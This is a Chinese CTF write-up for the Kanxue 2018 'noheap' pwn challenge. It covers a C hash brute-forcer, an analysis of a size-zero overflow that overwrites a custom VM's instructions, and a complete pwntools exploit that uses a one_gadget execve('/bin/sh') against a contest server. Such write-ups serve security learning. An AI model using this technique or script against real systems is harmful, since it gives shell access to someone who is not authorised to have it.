-
-
[原创]看雪.京东 2018CTF 第六题 PWN-noheap
-
2018-6-28 09:20 2893
-
对程序的理解
先用pwntools检查一下开启了哪些安全保护。
$ pwn checksec noheap Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
程序运行时,会算出一个简单的哈希,需要输入哈希对应的数据才能进行下一步。哈希验证可以通过爆破解决。
/* guess.c */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> uint32_t prng(uint32_t *seed) { *seed = 0x343FD * *seed + 0x269EC3; return *seed; } uint32_t hash(uint8_t *data, size_t len) { uint32_t result = 0; while (len > 0) { result = result * 0x83 + *data; data++; len--; } return result; } int main(int argc, char *argv[]) { char target[0x20]; uint8_t rand[0x10] = { 0 }; uint8_t sh[0x10] = { 0 }; uint32_t i, j, k, l, n; uint32_t seed, h; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); printf("input:"); scanf("%s", target); for ( i=0x30; i < 0x5b; i++) for ( j=0x30; j < 0x5b; j++) for ( k=0x30; k < 0x5b; k++) for ( l=0x30; l < 0x5b; l++) { seed = (i << 24) | (j << 16) | (k << 8) | l; *(uint32_t *)&rand[0] = prng(&seed); *(uint32_t *)&rand[4] = prng(&seed); h = hash(rand, 8); sprintf(sh, "%08x", h); /* printf("sh = %s\n", sh); */ if (memcmp(target, sh, 8) == 0) { for(n=0; n<8; n++) printf("%02x", rand[n]); printf("\n"); } } }
程序在初始化的时候会用异或一些地址,并初始化一串用于VM
的指令。
其中指令为1, 3, 0x13, 1, 0xf, 4, 6, 1, 9, 0x14, 1, 2, 0x13, 0x16, 0, 0x40
。
下面会使用异或重新生成地址。
在偏移0x01107
定义了一个简单的虚拟机。指令码为0x1-0x16。利用这个虚拟机可以操作栈。并且可以劫持执行流程。
漏洞
处理Malloc的函数会从命令行读入一个size,是一个无符号整型,size不能大于0x80。然后读入size - 1个字符。输入整数时都是没问题的,但是输入0时会读入0xff个字符,着就会覆盖VM
的指令。
在漏洞利用时,不需要泄露信息,因为libc已经给出,然后可以从栈上读取一个libc中的已知地址,这里选取的是__malloc_hook + 0x10
,实际上就是main_anera
。
然后就可以根据这个地址算出任意libc中的地址。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template from pwn import * import struct # Set up pwntools for the correct architecture context.update(arch='amd64') context.log_level = 'info' exe = './noheap' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.REMOTE: return remote('139.199.99.130', 8989) else: return process([exe] + argv, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== one_gadget = """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ # find by one_gadget gadget = 0x4526a libc = ELF("./libc-2.23.so") __malloc_hook = libc.symbols["__malloc_hook"] diff = __malloc_hook + 0x10 - gadget log.info("__malloc_hook %x" % __malloc_hook) log.info("gadget %x" % gadget) log.info('diff %x' % diff) orig_insns = [1, 3, 0x13, 1, 0xf, 4, 6, 1, 9, 0x14, 1, 2, 0x13, 0x16, 1, 0x40] guess = process('./guess') io = start() io.recvuntil("Hash:") h = io.recv(8) log.info("hash %s" % h) guess.recvuntil("input:") guess.sendline(h) s = guess.recv(16) s = s.decode('hex') # s = brute(h) if s == None: print("can't find input that matches the hash") exit(1) log.info("s %s" % s.encode('hex')) io.recvuntil("Input:") io.send(s) # gdb.attach(io) io.recvuntil(">> ") io.sendline("1") io.recvuntil("Size :") io.sendline("0") io.recvuntil("Content :") # max 0ff new_insns = [18, 9, 1, 2, 20, 1, 27, 19, 1, 32, 4, 5, 22, 0, 0, 0] insns = orig_insns + new_insns payload = 'A' * 0x80 payload += ''.join( chr(e) for e in orig_insns ) payload += ''.join( chr(e) for e in new_insns ) payload += p64(diff) io.send(payload) io.interactive()
最后flag为
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
他的文章
看原图